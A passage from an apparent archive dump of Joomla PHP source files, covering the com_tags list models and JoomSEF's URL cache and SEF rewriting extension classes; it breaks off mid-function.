JComponentHelper::getParams('com_tags')->get('tag_list_language_filter', 'all'); } $tagsHelper = new JHelperTags; $query = $tagsHelper->getTagItemsQuery($tagId, $typesr, $includeChildren, $orderByOption, $orderDir, $matchAll, $language, $stateFilter); if ($this->state->get('list.filter')) { $query->where($this->_db->quoteName('c.core_title') . ' LIKE ' . $this->_db->quote('%' . $this->state->get('list.filter') . '%')); } return $query; } /** * Method to auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @param string $ordering An optional ordering field. * @param string $direction An optional direction (asc|desc). * * @return void * * @since 3.1 */ protected function populateState($ordering = 'c.core_title', $direction = 'ASC') { $app = JFactory::getApplication('site'); // Load the parameters. $params = $app->getParams(); $this->setState('params', $params); // Load state from the request. $ids = $app->input->get('id', array(), 'array'); JArrayHelper::toInteger($ids); $pkString = implode(',', $ids); $this->setState('tag.id', $pkString); // Get the selected list of types from the request. If none are specified all are used. $typesr = $app->input->get('types', array(), 'array'); if ($typesr) { // Implode is needed because the array can contain a string with a coma separated list of ids $typesr = implode(',', $typesr); // Sanitise $typesr = explode(',', $typesr); JArrayHelper::toInteger($typesr); $this->setState('tag.typesr', $typesr); } $language = $app->input->getString('tag_list_language_filter'); $this->setState('tag.language', $language); // List state information $format = $app->input->getWord('format'); if ($format == 'feed') { $limit = $app->getCfg('feed_limit'); } else { if ($this->state->params->get('show_pagination_limit')) { $limit = $app->getUserStateFromRequest('global.list.limit', 'limit', $app->getCfg('list_limit'), 'uint'); } else { $limit = $this->state->params->get('maximum', 20); } } $this->setState('list.limit', $limit); $offset = $app->input->get('limitstart', 0, 'uint'); $this->setState('list.start', $offset); $itemid = $pkString . ':' . $app->input->get('Itemid', 0, 'int'); $orderCol = $app->getUserStateFromRequest('com_tags.tag.list.' . $itemid . '.filter_order', 'filter_order', '', 'string'); $orderCol = !$orderCol ? $this->state->params->get('tag_list_orderby', 'c.core_title') : $orderCol; if (!in_array($orderCol, $this->filter_fields)) { $orderCol = 'c.core_title'; } $this->setState('list.ordering', $orderCol); $listOrder = $app->getUserStateFromRequest('com_tags.tag.list.' . $itemid . '.filter_order_direction', 'filter_order_Dir', '', 'string'); $listOrder = !$listOrder ? $this->state->params->get('tag_list_orderby_direction', 'ASC') : $listOrder; if (!in_array(strtoupper($listOrder), array('ASC', 'DESC', ''))) { $listOrder = 'ASC'; } $this->setState('list.direction', $listOrder); $this->setState('tag.state', 1); // Optional filter text $filterSearch = $app->getUserStateFromRequest('com_tags.tag.list.' . $itemid . '.filter_search', 'filter-search', '', 'string'); $this->setState('list.filter', $filterSearch); } /** * Method to get tag data for the current tag or tags * * @param integer An optional ID * * @return object * @since 3.1 */ public function getItem($pk = null) { if (!isset($this->item) ||$this->item === null) { $this->item = false; if (empty($id)) { $id = $this->getState('tag.id'); } // Get a level row instance. $table = JTable::getInstance('Tag', 'TagsTable'); $idsArray = explode(',', $id); // Attempt to load the rows into an array. foreach ($idsArray as $id) { try { $table->load($id); // Check published state. if ($published = $this->getState('filter.published')) { if ($table->published != $published) { return $this->item; } } // Convert the JTable to a clean JObject. $properties = $table->getProperties(1); $this->item[] = JArrayHelper::toObject($properties, 'JObject'); } catch (RuntimeException $e) { $this->setError($e->getMessage()); return false; } } } return $this->item; } /** * Increment the hit counter. * * @param integer Optional primary key of the article to increment. * * @return boolean True if successful; false otherwise and internal error set. * * @since 3.2 */ public function hit($pk = 0) { $input = JFactory::getApplication()->input; $hitcount = $input->getInt('hitcount', 1); if ($hitcount) { $pk = (!empty($pk)) ? $pk : (int) $this->getState('tag.id'); $table = JTable::getInstance('Tag', 'TagsTable'); $table->load($pk); $table->hit($pk); } return true; } } com_tags/models/index.html000066600000000037150771500630011630 0ustar00 com_tags/models/tags.php000066600000011555150771500630011311 0ustar00input->getInt('parent_id'); $this->setState('tag.parent_id', $pid); $language = $app->input->getString('tag_list_language_filter'); $this->setState('tag.language', $language); $offset = $app->input->get('limitstart', 0, 'uint'); $this->setState('list.offset', $offset); $app = JFactory::getApplication(); $params = $app->getParams(); $this->setState('params', $params); $this->setState('list.limit', $params->get('maximum', 200)); $this->setState('filter.published', 1); $this->setState('filter.access', true); $user = JFactory::getUser(); if ((!$user->authorise('core.edit.state', 'com_tags')) && (!$user->authorise('core.edit', 'com_tags'))) { $this->setState('filter.published', 1); } // Optional filter text $itemid = $pid . ':' . $app->input->getInt('Itemid', 0); $filterSearch = $app->getUserStateFromRequest('com_tags.tags.list.' . $itemid . '.filter_search', 'filter-search', '', 'string'); $this->setState('list.filter', $filterSearch); } /** * Redefine the function and add some properties to make the styling more easy * * @return mixed An array of data items on success, false on failure. * * @since 3.1 */ public function getItems() { // Invoke the parent getItems method to get the main list $items = parent::getItems(); if (!count($items)) { $app = JFactory::getApplication(); $menu = $app->getMenu(); $active = $menu->getActive(); $params = new JRegistry; if ($active) { $params->loadString($active->params); } } return $items; } /** * Method to build an SQL query to load the list data. * * @return string An SQL query * * @since 1.6 */ protected function getListQuery() { $app = JFactory::getApplication('site'); $user = JFactory::getUser(); $groups = implode(',', $user->getAuthorisedViewLevels()); $pid = $this->getState('tag.parent_id'); $orderby = $this->state->params->get('all_tags_orderby', 'title'); $published = $this->state->params->get('published', 1); $orderDirection = $this->state->params->get('all_tags_orderby_direction', 'ASC'); $language = $this->getState('tag.language'); // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); // Select required fields from the tags. $query->select('a.*') ->from($db->quoteName('#__tags') . ' AS a') ->where($db->quoteName('a.access') . ' IN (' . $groups . ')'); if (!empty($pid)) { $query->where($db->quoteName('a.parent_id') . ' = ' . $pid); } // Exclude the root. $query->where($db->quoteName('a.parent_id') . ' <> 0'); // Optionally filter on language if (empty($language)) { $language = JComponentHelper::getParams('com_tags')->get('tag_list_language_filter', 'all'); } if ($language != 'all') { if ($language == 'current_language') { $language = JHelperContent::getCurrentLanguage(); } $query->where($db->quoteName('language') . ' IN (' . $db->quote($language) . ', ' . $db->quote('*') . ')'); } // List state information $format = $app->input->getWord('format'); if ($format == 'feed') { $limit = $app->getCfg('feed_limit'); } else { if ($this->state->params->get('show_pagination_limit')) { $limit = $app->getUserStateFromRequest('global.list.limit', 'limit', $app->getCfg('list_limit'), 'uint'); } else { $limit = $this->state->params->get('maximum', 20); } } $this->setState('list.limit', $limit); $offset = $app->input->get('limitstart', 0, 'uint'); $this->setState('list.start', $offset); // Optionally filter on entered value if ($this->state->get('list.filter')) { $query->where($db->quoteName('a.title') . ' LIKE ' . $db->quote('%' . $this->state->get('list.filter') . '%')); } $query->where($db->quoteName('a.published'). ' = ' . $published); $query->order($db->quoteName($orderby) . ' ' . $orderDirection . ', a.title ASC'); return $query; } } com_sef/sef.cache.php000066600000042730150771500630010525 0ustar00id = $id; $this->sefurl = $sefurl; $this->origurl = $nonsef; $this->cpt = $hits; $this->Itemid = $Itemid; $this->metatitle = $metatitle; $this->metadesc = $metadesc; $this->metakey = $metakey; $this->metalang = $metalang; $this->metarobots = $metarobots; $this->metagoogle = $metagoogle; $this->metaauthor=$metaauthor; $this->canonicallink = $canonicallink; $this->metacustom = $metacustom; $this->enabled = $enabled; $this->sef = $sef; $this->host = $host; $this->showsitename = $showsitename; } } /** * Main class handling JoomSEF's cache * */ class SEFCache { var $cacheLoaded = false; var $loadCacheCalled = false; var $cacheObject = null; var $cache = array(); var $maxSize; var $minHits; /** * Sets the main variables and loads the cache from disk * * @param int $maxSize * @param int $minHits * @return sefCache */ function __construct($maxSize, $minHits) { $this->maxSize = $maxSize; $this->minHits = $minHits; $this->cacheFile = JPATH_SITE.'/cache/joomsef.cache'; $this->loadCache(); } static function getInstance() { static $instance; if( !isset($instance) ) { $sefConfig = SEFConfig::getConfig(); $instance = new sefCache($sefConfig->cacheSize, $sefConfig->cacheMinHits); } return $instance; } /** * Creates the joomla cache object * */ function createCacheObject() { if (!is_null($this->cacheObject)) { return; } $conf = JFactory::getConfig(); $storage = $conf->get('cache_handler', 'file'); $options = array( 'defaultgroup' => 'joomsef', 'cachebase' => JPATH_SITE.'/cache', 'lifetime' => 315360000, // since Joomla doesn't support no-expire cache, 'checkTime' => false, // we'll set expire to approx 10 years - should be enough :) 'language' => 'en-GB', // we want our cache mutual for all languages 'storage' => $storage ); jimport('joomla.cache.cache'); $this->cacheObject = JCache::getInstance( 'output', $options ); if ($this->cacheObject && ($storage == 'memcache')) { // Set the lifetime to 0 for memcache storage $handler =& $this->cacheObject->_getStorage(); $handler->_lifetime = 0; } } /** * Loads the cache from disk to memory * */ function loadCache() { // Was this function already called? if ($this->loadCacheCalled) { return; } $this->loadCacheCalled = true; // Is cache already loaded? if ($this->cacheLoaded) { return; } // If cache is disabled, don't load anything $sefConfig = SEFConfig::getConfig(); if (!$sefConfig->useCache) { $this->cacheLoaded = true; return; } // Create the cache object if needed $this->createCacheObject(); if (is_null($this->cacheObject)) { return; } // Load the cache string $cacheString = $this->cacheObject->get('cache'); if ($cacheString === false) { // Cache is not created yet $this->cacheLoaded = true; return; } // Unserialize it to the object $this->cache = @unserialize($cacheString); if ($this->cache === false || !is_array($this->cache)) { // Error loading cache if ($sefConfig->cacheShowErr) { // Show error message only when set to JError::raiseWarning(100, JText::_('COM_SEF_JOOMSEF').': '.JText::_('COM_SEF_CACHE_FILE_IS_CORRUPTED')); } return; } $this->cacheLoaded = true; } /** * Saves the cache arrays to disk */ function saveCache() { // Create the cache object if needed $this->createCacheObject(); if (is_null($this->cacheObject)) { return; } // Create the cache string $cacheString = serialize($this->cache); // Store the cache string // use 5 retries (in case of file locking problems), otherwise clear the cache for ($i = 0; $i < 5; $i++) { if ($this->cacheObject->store($cacheString, 'cache')) { return; } } // Cache could not be stored $this->cleanCache(); } /** * Clears the cache * */ function cleanCache() { // Create the cache object if needed $this->createCacheObject(); if (is_null($this->cacheObject)) { return; } $this->cacheObject->remove('cache'); } /** * Tries to find nonSEF URLs corresponding to given SEF URL * updateHits is deprecated and is not used anymore * * @param string $sef * @param boolean $updateHits * @return object[] */ function getNonSefUrl($sef, $updateHits = true) { // Load the cache if needed if (!$this->cacheLoaded) { $this->loadCache(); } // Check if the cache was loaded successfully if (!$this->cacheLoaded) { return false; } $sefConfig = SEFConfig::getConfig(); // If we are tolerant for trailing slash if ($sefConfig->transitSlash) { // Remove trailing slash $sef = rtrim($sef, '/'); if( !isset($this->cache[$sef]) ) { // If there isn't URL without trailing slash, add the slash $sef .= '/'; } } // Does the item exist in cache? if (isset($this->cache[$sef])) { // Check for old cache version - item must be array of URLs! if (!is_array($this->cache[$sef])) { // Clear the cache $this->cleanCache(); $this->cache = array(); return false; } // Return the array return $this->cache[$sef]; } else { // Cache record not found return false; } } /** * Tries to find a SEF URL corresponding with given nonSEF URL * * @param string $nonsef * @param string $Itemid * @return string */ function getSefUrl($nonsef, $Itemid = null) { $sefConfig = SEFConfig::getConfig(); // Load the cache if needed if (!$this->cacheLoaded) { $this->LoadCache(); } // Check if the cache was loaded successfully if (!$this->cacheLoaded) { return false; } /*foreach($this->cache as $item) { echo "
    ";
            	print_r($item);
            	echo "
    "; echo "


    "; } exit;*/ // Check if non-sef url doesn't contain Itemid $vars = array(); parse_str(str_replace('index.php?', '', $nonsef), $vars); if (is_null($Itemid) && strpos($nonsef, 'Itemid=')) { if (isset($vars['Itemid'])) $Itemid = $vars['Itemid']; $nonsef = SEFTools::removeVariable($nonsef, 'Itemid'); } // Get the ignoreSource parameter if (isset($vars['option'])) { $params = SEFTools::getExtParams($vars['option']); $extIgnore = $params->get('ignoreSource', 2); } else { $extIgnore = 2; } $ignoreSource = ($extIgnore == 2 ? $sefConfig->ignoreSource : $extIgnore); // If Itemid is set as ignored for the component, set ignoreSource to 1 if (!is_null($Itemid) && isset($vars['option'])) { if (SEFTools::isItemidIgnored($vars['option'], $Itemid)) { $ignoreSource = 1; } } // Get all sef urls matching non-sef url if (isset($this->cache[$nonsef]) && is_array($this->cache[$nonsef]) && (count($this->cache[$nonsef]) > 0)) { // Search with Itemid if set to and Itemid set if( !$ignoreSource && !is_null($Itemid) ) { $nullId = null; for ($i = 0, $n = count($this->cache[$nonsef]); $i < $n; $i++ ) { $row = $this->cache[$nonsef][$i]; if (isset($row->Itemid) && ($row->Itemid == $Itemid)) { return $row; } if (empty($row->Itemid)) { $nullId = $i; } } // Not found with correct itemid, try to find without itemid if (!is_null($nullId)) { // Update Itemid in cache $this->cache[$nonsef][$i]->Itemid = $Itemid; $row = $this->cache[$nonsef][$i]; // Save the cache $this->saveCache(); // Return found row return $row; } } // otherwise, return first result found else { return $this->cache[$nonsef][0]; } } // URL does not exist in the cache return false; } /** * Returns number of entries in cache * * @return int */ function getCount() { // Load the cache if needed if (!$this->cacheLoaded) { $this->LoadCache(); } // Check if the cache was loaded successfully if (!$this->cacheLoaded) { return false; } return count($this->cache); } function getSEFURLExists($nonsef) { return isset($this->cache[$nonsef]); } /** * Adds the URL to cache * * @param string $nonsef * @param string $sef * @param int $hits * @param string $Itemid * @param string $metatitle * @param string $metadesc * @param string $metakey * @param string $metalang * @param string $metarobots * @param string $metagoogle * @param string $canonicalLink */ function addUrl($id, $nonsef, $sefurl, $hits, $Itemid = '', $metatitle = '', $metadesc = '', $metakey = '', $metalang = '', $metarobots = '', $metagoogle = '', $metaauthor='', $canonicallink = '', $metacustom = '', $enabled = '1', $sef = '1', $force = false, $host = null, $showsitename = 3) { // check if URL's hits count is enough to be stored if ($force==false && $hits < $this->minHits) { return; } // check the cache size if (count($this->cache) > $this->maxSize) { // Sorry, our cache is full return; } // OK, we can add the URL to the cache // let's create the cache record $cacheItem = new SEFCacheItem($id, $nonsef, $sefurl, $hits, $Itemid, $metatitle, $metadesc, $metakey, $metalang, $metarobots, $metagoogle, $metaauthor, $canonicallink, $metacustom, $enabled, $sef, $host, $showsitename); // Add it to our cache array indexing it both by SEF and nonSEF URLs if (!isset($this->cache[$sefurl])) { $this->cache[$sefurl] = array(); } $this->cache[$sefurl][$id] = $cacheItem; // We can have the same nonSEF URLs with different Itemids if (!isset($this->cache[$nonsef])) { $this->cache[$nonsef] = array(); } $this->cache[$nonsef][] =& $this->cache[$sefurl][$id]; // Save the cache $this->saveCache(); } function checkSEFURL($search_url) { if (!$this->cacheLoaded) { $this->loadCache(); } $urls=array(); foreach($this->cache as $url=>$details) { $matches=array(); if(preg_match("/".$search_url."/",$url,$matches)) { foreach($this->cache[$url] as $item=>$details) { $urls[$details->origurl]=$details->sefurl; } } } return $urls; } function removeSEF($sef,$nonsef=null) { if(is_null($nonsef)) { $nonsef=$this->cache[$sef]->origurl; } unset($this->cache[$sef]); unset($this->cache[$nonsef]); $this->saveCache(); } function updateCacheURL($nonsef,$oldsef,$sef,$metadata) { $item=new stdClass(); $item->sefurl=$sef; $item->origurl=$nonsef; $item->cpt=$this->cache[$oldsef]->cpt; $item->Itemid=$this->cache[$oldsef]->Itemid; foreach($metadata as $key=>$value) { $item->$key=$value; } $item->canonicallink=$this->cache[$oldsef]->canonicallink; $item->enabled=$this->cache[$oldsef]->enabled; $item->sef=$this->cache[$oldsef]->sef; $this->cache[$sef]=$item; unset($this->cache[$oldsef]); foreach($this->cache[$nonsef] as $pos=>$details) { if($details->sefurl==$oldsef) { $this->cache[$nonsef][$pos]=$item; } } $this->saveCache(); } function removeCacheURL($nonsef) { $urls=array_keys($this->checkSEFURL($nonsef)); foreach($urls as $nonsef) { foreach($this->cache[$nonsef] as $pos=>$item) { unset($this->cache[$item->sefurl]); } unset($this->cache[$nonsef]); } $this->saveCache(); } function getCacheUrls() { $urls = array(); foreach ($this->cache as $key => $item) { // return only URLs indexed by SEF URL if (substr($key, 0, 9) == 'index.php') continue; if (is_array($item)) { foreach ($item as $url) { $urls[] = $url; } } else { $urls[] = $item; } } return $urls; } function setSEFState($sef, $state) { // Not working now //if (isset($this->cache[$sef])) { // $this->cache[$sef]->sef = $state; // foreach ($this->cache[$this->cache[$sef]->origurl] as $url) { // $url->sef = $state; // } // $this->saveCache(); //} } function setSEFEnabled($sef, $state) { // Not working now //if (isset($this->cache[$sef])) { // $this->cache[$sef]->enabled = $state; // foreach ($this->cache[$this->cache[$sef]->origurl] as $url) { // $url->enabled = $state; // } // $this->saveCache(); //} } function updateMetas($sef,$metas) { foreach($metas as $key=>$value) { if(isset($this->cache[$sef])) { $this->cache[$sef]->$key=$value; } } foreach($this->cache[$this->cache[$sef]->origurl] as $url) { foreach($metas as $key=>$value) { $url->$key=$value; } } $this->saveCache(); } function changeUrl($id,$nonsef,$sefurl,$hits,$Itemid='',$metatitle='',$metadesc='',$metakey='',$metalang='',$metarobots='',$metagoogle='',$metaauthor='',$canonicallink='',$metacustom='',$enabled='1',$sef='1',$host=null, $showsitename = 3) { // If this URL dont exists in cache, we don't create new one if(!array_key_exists($nonsef,$this->cache)) { return; } // Remove assingned nonSEF URL's unset($this->cache[$this->cache[$nonsef][0]->sefurl]); unset($this->cache[$nonsef]); $cacheItem = new SEFCacheItem($id, $nonsef, $sefurl, $hits, $Itemid, $metatitle, $metadesc, $metakey, $metalang, $metarobots, $metagoogle, $metaauthor, $canonicallink, $metacustom, $enabled, $sef, $host, $showsitename); $this->cache[$sefurl]=$cacheItem; $this->cache[$nonsef][]=$cacheItem; $this->saveCache(); } } ?>com_sef/sef.ext.php000066600000050331150771500630010256 0ustar00config=SEFConfig::getConfig(); $this->params = SEFTools::getExtParams($className); $this->_db=JFactory::getDBO(); } function setCurrentUri(&$uri) { $this->currentUri = $uri->toString(array('path', 'query')); } function beforeCreate(&$uri) { return; } function afterCreate(&$uri) { return; } /** * Returns the nonSef vars and ignore vars * * @param JURI $uri * @return array */ function getNonSefVars(&$uri) { return array(array(), array()); } function getSefUrlFromDatabase(&$uri) { $db = JFactory::getDBO(); $sefConfig = SEFConfig::getConfig(); // David (284): ignore Itemid if set to $where = ''; // Get the extension's ignoreSource parameter $option = $uri->getVar('option'); if( !is_null($option) ) { $params = SEFTools::getExtParams($option); $extIgnore = $params->get('ignoreSource', 2); } else { $extIgnore = 2; } $ignoreSource = ($extIgnore == 2 ? $sefConfig->ignoreSource : $extIgnore); $Itemid = $uri->getVar('Itemid'); // If Itemid is set as ignored for the component, set ignoreSource to 1 if (!is_null($Itemid) && !is_null($option)) { if (SEFTools::isItemidIgnored($option, $Itemid)) { $ignoreSource = 1; } } if (!$ignoreSource && !is_null($Itemid)) { $where = " AND (`Itemid` = ".(int)$Itemid." OR `Itemid` IS NULL)"; } $origurl = $this->_db->quote(html_entity_decode(urldecode(JoomSEF::_uriToUrl($uri, 'Itemid')))); $query = "SELECT * FROM `#__sefurls` WHERE `origurl` = ".$origurl.$where.' LIMIT 2'; $this->_db->setQuery($query); //echo "".str_replace('#__','jos_',$query)."

    "; $sefurls = $this->_db->loadObjectList('Itemid'); if (!is_array($sefurls)) { return false; } if (!$ignoreSource && !is_null($Itemid)) { if (isset($sefurls[$Itemid])) { $result = $sefurls[$Itemid]; } else if (isset($sefurls[''])) { // We've found one of the ignored Itemids, update it with the current and return $result = $sefurls['']; $result->Itemid = $Itemid; $query = "UPDATE `#__sefurls` SET `Itemid` = ".(int)$Itemid." WHERE `id` = ".(int)$result->id." LIMIT 1"; $this->_db->setQuery($query); $this->_db->query(); } else { $result = reset($sefurls); } } else { $result = reset($sefurls); } return is_object($result) ? $result : false; } function create(&$uri) { $vars = $uri->getQuery(true); extract($vars); $title = array(); $title[] = JoomSEF::_getMenuTitleLang(@$option, $lang, @$Itemid); $newUri = $uri; if (count($title) > 0) { $newUri = JoomSEF::_sefGetLocation($uri, $title, null, null, null, @$lang); } return $newUri; } /** * Tries to find a non-SEF URL with given language in the list of URLs * * @param object[] $rows List of URLs * @param string $lang Language to find * @return object Found URL object or NULL */ function findUrlForLanguage($rows, $lang) { if (empty($lang) || !is_array($rows) || count($rows) == 0) return null; $pattern = "#[?&]lang={$lang}(&|$)#i"; foreach ($rows as $item) { if (preg_match($pattern, $item->origurl)) { return $item; } } return null; } function revert($route, &$disabled) { $sefConfig = SEFConfig::getConfig(); $cache = SEFCache::getInstance(); $vars = array(); $route = html_entity_decode(urldecode($route)); $routeNoSlash = rtrim($route, '/'); // try to use cache $row = null; if ($sefConfig->useCache) { // There can be multiple non-SEF URLs for the same SEF URL $rows = $cache->getNonSefUrl($route); if ($rows) { // If there is a language from domain, try to find the correct URL $lang = JoomSEF::get('domain_lang'); if (!empty($lang)) { $row = $this->findUrlForLanguage($rows, $lang); } else { $row = reset($rows); } } } // cache worked if ($row) { $fromCache = true; } else { // URL isn't in cache or cache disabled $fromCache = false; if ($sefConfig->transitSlash) { $where = "(`sefurl` = ".$this->_db->Quote($routeNoSlash).") OR (`sefurl` = ".$this->_db->Quote($routeNoSlash.'/').")"; } else { $where = "`sefurl` = ".$this->_db->Quote($route); } $sql = "SELECT * FROM #__sefurls WHERE ($where) AND (`origurl` != '') ORDER BY `priority`"; // Try to find URL with correct language if using domains $lang = JoomSEF::get('domain_lang'); if (!empty($lang)) { // Get all SEF URLs $row = null; $this->_db->setQuery($sql); $rows = $this->_db->loadObjectList(); // Try to find the URL with correct language if (is_array($rows) && (count($rows) > 0)) { $pattern = "#[?&]lang={$lang}(&|$)#i"; foreach ($rows as $item) { if (preg_match($pattern, $item->origurl)) { $row = $item; break; } } // No URL with correct language found, use the first one if (is_null($row)) { $row = reset($rows); } } } else { // Find the first matching URL $sql .= ' LIMIT 1'; $this->_db->setQuery($sql); $row = $this->_db->loadObject(); } } if ($row) { // Search in database is not case-sensitive, but URLs are case-sensitive so we should check // if the found route really matches the searched one and redirect if necessary to avoid duplicate content if (($sefConfig->transitSlash && ($row->sefurl != $routeNoSlash) && ($row->sefurl != $routeNoSlash.'/')) || (!$sefConfig->transitSlash && ($row->sefurl != $route))) { // Redirect if possible if (empty($_POST)) { $redir = JURI::getInstance(); $redir->setPath('/'.ltrim($row->sefurl, '/')); SEFTools::redirect($redir->toString(), true); } } // Set the disabled flag (old cache records don't need to have enabled set) if (!isset($row->enabled)) { $row->enabled = 1; } if ($row->enabled) { $disabled = false; } else { $disabled = true; } // Use the already created URL $string = $row->origurl; if (isset($row->Itemid) && ($row->Itemid != '')) { $string .= (strpos($string, '?') ? '&' : '?') . 'Itemid=' . $row->Itemid; } // update the hits count if needed if (!$fromCache || $sefConfig->cacheRecordHits) { $where = ''; if (!empty($row->id)) { $where = " WHERE `id` = ".(int)$row->id; } else { $where = " WHERE `sefurl` = ".$this->_db->quote($row->sefurl)." AND `origurl` != ''"; } $this->_db->setQuery("UPDATE #__sefurls SET cpt=(cpt+1)".$where); $this->_db->query(); } $string = str_replace( '&', '&', $string ); $QUERY_STRING = str_replace('index.php?', '', $string); parse_str($QUERY_STRING, $vars); // Moved to JoomSEF::_parseSefUrl() /* if ($sefConfig->setQueryString) { $_SERVER['QUERY_STRING'] = $QUERY_STRING; } */ // prepare the meta tags array for MetaBot // only if URL is not disabled if (!$disabled) { $mainframe = JFactory::getApplication(); if (!empty($row->metatitle)) JoomSEF::set('sef.meta.title', $row->metatitle); if (!empty($row->metadesc)) JoomSEF::set('sef.meta.desc', $row->metadesc); if (!empty($row->metakey)) JoomSEF::set('sef.meta.key', $row->metakey); if (!empty($row->metalang)) JoomSEF::set('sef.meta.lang', $row->metalang); if (!empty($row->metarobots)) JoomSEF::set('sef.meta.robots', $row->metarobots); if (!empty($row->metagoogle)) JoomSEF::set('sef.meta.google', $row->metagoogle); if (!empty($row->canonicallink)) JoomSEF::set('sef.link.canonical', $row->canonicallink); if(!empty($row->metaauthor)) { JoomSEF::set('sef.meta.author',$row->metaauthor); } if (isset($row->showsitename)) JoomSEF::set('sef.meta.showsitename', $row->showsitename); if (!empty($row->metacustom)) { $metacustom = @unserialize($row->metacustom); if (!empty($metacustom)) { JoomSEF::set('sef.meta.custom', $metacustom); } } } // If cache is enabled but URL isn't in cache yet, add it if ($sefConfig->useCache && !$fromCache) { $cache->addUrl($row->id, $row->origurl, $row->sefurl, $row->cpt + 1, $row->Itemid, $row->metatitle, $row->metadesc, $row->metakey, $row->metalang, $row->metarobots, $row->metagoogle, $row->metaauthor, $row->canonicallink, $row->metacustom, $row->enabled, $row->sef, false, $row->host, $row->showsitename); } } elseif ($sefConfig->useMoved) { // URL not found, let's try the Moved Permanently table $where = ''; if( $sefConfig->transitSlash ) { $where = "(`old` = ".$this->_db->quote($routeNoSlash).") OR (`old` = ".$this->_db->quote($routeNoSlash.'/').")"; } else { $where = "`old` = ".$this->_db->quote($route); } $this->_db->setQuery("SELECT * FROM `#__sefmoved` WHERE {$where}"); $row = $this->_db->loadObject(); if($row) { // URL found, let's update the lastHit in table and redirect $this->_db->setQuery("UPDATE `#__sefmoved` SET `lastHit` = NOW() WHERE `id` = ".(int)$row->id); $this->_db->query(); // Let's build absolute URL from our link $root = JURI::root(); if( strstr($row->new, $root) === false ) { $url = $root; if (substr($url, -1) != '/') $url .= '/'; if (substr($row->new, 0, 1) == '/') $row->new = substr($row->new, 1); $url .= $row->new; } else { $url = $row->new; } // Use the link to redirect SEFTools::redirect($url, true); } } return $vars; } /** * Get metatags. * If they do not exist, generate new. * * @return array */ function getMetaTags() { $sefConfig = SEFConfig::getConfig(); // clean source of meta description if (!empty($this->metadesc)) $cleanDesc = SEFTools::cleanDesc($this->metadesc); else $cleanDesc = ''; // clean source of meta keywords if (!empty($this->metakeySource)) $cleanKeySource = SEFTools::cleanDesc($this->metakeySource); else $cleanKeySource = $cleanDesc; // generate own meta description if set to by extension and global configuration if ($this->params->get('meta_desc', '1') && ($sefConfig->metadata_auto == _COM_SEF_META_GEN_ALWAYS || $sefConfig->metadata_auto == _COM_SEF_META_GEN_EMPTY && strlen($this->origmetadesc) == 0)) { // get generation params $maxLen = $this->params->get('desc_len', '320'); // generate description $this->metatags['metadesc'] = SEFTools::clipDesc($cleanDesc, $maxLen); } else /*if($sefConfig->metadata_auto == _COM_SEF_META_GEN_EMPTY && strlen($this->origmetadesc))*/ { $this->metatags['metadesc']=$this->origmetadesc; } // generate own meta keywords if set to by extension and global configuration if ($this->params->get('meta_keys', '1') && ($sefConfig->metadata_auto == _COM_SEF_META_GEN_ALWAYS || $sefConfig->metadata_auto == _COM_SEF_META_GEN_EMPTY && strlen($this->origmetakey) == 0)) { // get generation params $minLen = $this->params->get('keys_minlen', '3'); $count = $this->params->get('keys_count', '8'); $blacklist = $this->params->get('blacklist', null); // generate keywords $this->metatags['metakey'] = SEFTools::generateKeywords($cleanKeySource, $blacklist, $count, $minLen); } else /*if($sefConfig->metadata_auto == _COM_SEF_META_GEN_EMPTY && strlen($this->origmetakey)) */ { $this->metatags['metakey']=$this->origmetakey; } return $this->metatags; } /** * Returns sitemap parameters for given URI */ function getSitemapParams(&$uri) { return array(); } /** * Uses the extension's create() method to generate the meta tags for given URI. * Extensions should override this function with more efficient and sophisticated algorithm. * * @param $uri URI to generate meta tags for * @return array Associative array of meta tags */ function generateMeta(&$uri) { $data = $this->create($uri); if (is_object($data) && is_a($data, 'JURI')) { // Backwards compatibility return array(); } else { if (isset($data['metadata']) && is_array($data['metadata'])) { return $data['metadata']; } else { return array(); } } } protected function getMetaData($row) { $this->metatags=array(); if(isset($row->metakey)) { $this->metatags["metakey"]=$row->metakey; } if(isset($row->metadesc)) { $this->metatags["metadesc"]=$row->metadesc; } if(isset($row->metadata)) { $metadata=new JRegistry($row->metadata); $this->metatags["metaauthor"]=$metadata->get('author'); $this->metatags["metarobots"]=$metadata->get('robots'); } $this->lang=$row->language; } function getParam($name) { return $this->params->get($name); } protected function getCategoryInfo($id) { $field = 'title'; if (SEFTools::UseAlias($this->params, 'category_alias')) { $field = 'alias'; } $addId = (bool) $this->params->get('categoryid', '0'); $catInfo = new stdClass(); $titles = array(); $path = array(); $pathIds = array(); $id = intval($id); $this->_db->setQuery("SELECT `lft`, `rgt` FROM `#__categories` WHERE `id` = '{$id}'"); $idx = $this->_db->loadObject(); if (!$idx) { return false; } $query = "SELECT `id`, `title`, `alias`, `description`, language, `metakey`, `metadesc`, `metadata`, `parent_id` FROM `#__categories` WHERE `lft` <= '{$idx->lft}' AND `rgt` >= '{$idx->rgt}' AND id!=1 ORDER BY `lft` DESC"; if ($this->params->get('show_category', 2) != 2) { $query .= " LIMIT 1"; } $this->_db->setQuery($query); $cats = $this->_db->loadObjectList('', 'stdClass', $this->config->translateItems); $result = null; $this->metatags = array(); foreach ($cats as $cat) { // Get only last category metas if (is_null($result)) { $result = new stdClass(); $this->lang = $cat->language; $this->metadesc = $cat->description; $this->metatags["metakey"] = $cat->metakey; $this->metatags["metadesc"] = $cat->metadesc; $metadata = new JRegistry($cat->metadata); $this->metatags["metaauthor"] = $metadata->get('author'); $this->metatags["metarobots"] = $metadata->get('robots'); $this->metadesc = $cat->description; $this->origmetadesc = $cat->metadesc; $this->metakeysource = $cat->description; $this->origmetakey = $cat->metakey; $this->pageTitle = $cat->title; } $name = ($addId ? $id.'-'.$cat->$field : $cat->$field); array_unshift($path, $name); array_unshift($titles, $cat->title); array_unshift($pathIds, $id); if (empty($this->metatags["metadesc"])) { $this->metatags["metadesc"] = $cat->description; } $id = $cat->parent_id; if ($id <= 1) { break; } } $catInfo->titles = $titles; $catInfo->path = $path; $catInfo->path_ids = $pathIds; return $catInfo; } } /** * JoomSEF basic rewriting class * */ class SefExt_Basic extends SefExt { function _addValue(&$title, $value) { if (!is_array($value)) { $title[] = $value; } else { foreach ($value as $val) { $this->_addValue($title, $val); } } } function create(&$uri) { $vars = $uri->getQuery(true); $title = array(); $lang = $uri->getVar('lang'); if ($this->params->get('showMenuTitle', '1') == '1') { $title[] = JoomSEF::_getMenuTitleLang($uri->getVar('option'), $lang, $uri->getVar('Itemid')); } else { $title[] = substr($uri->getVar('option'), 4); } $noAdd = array('option', 'lang', 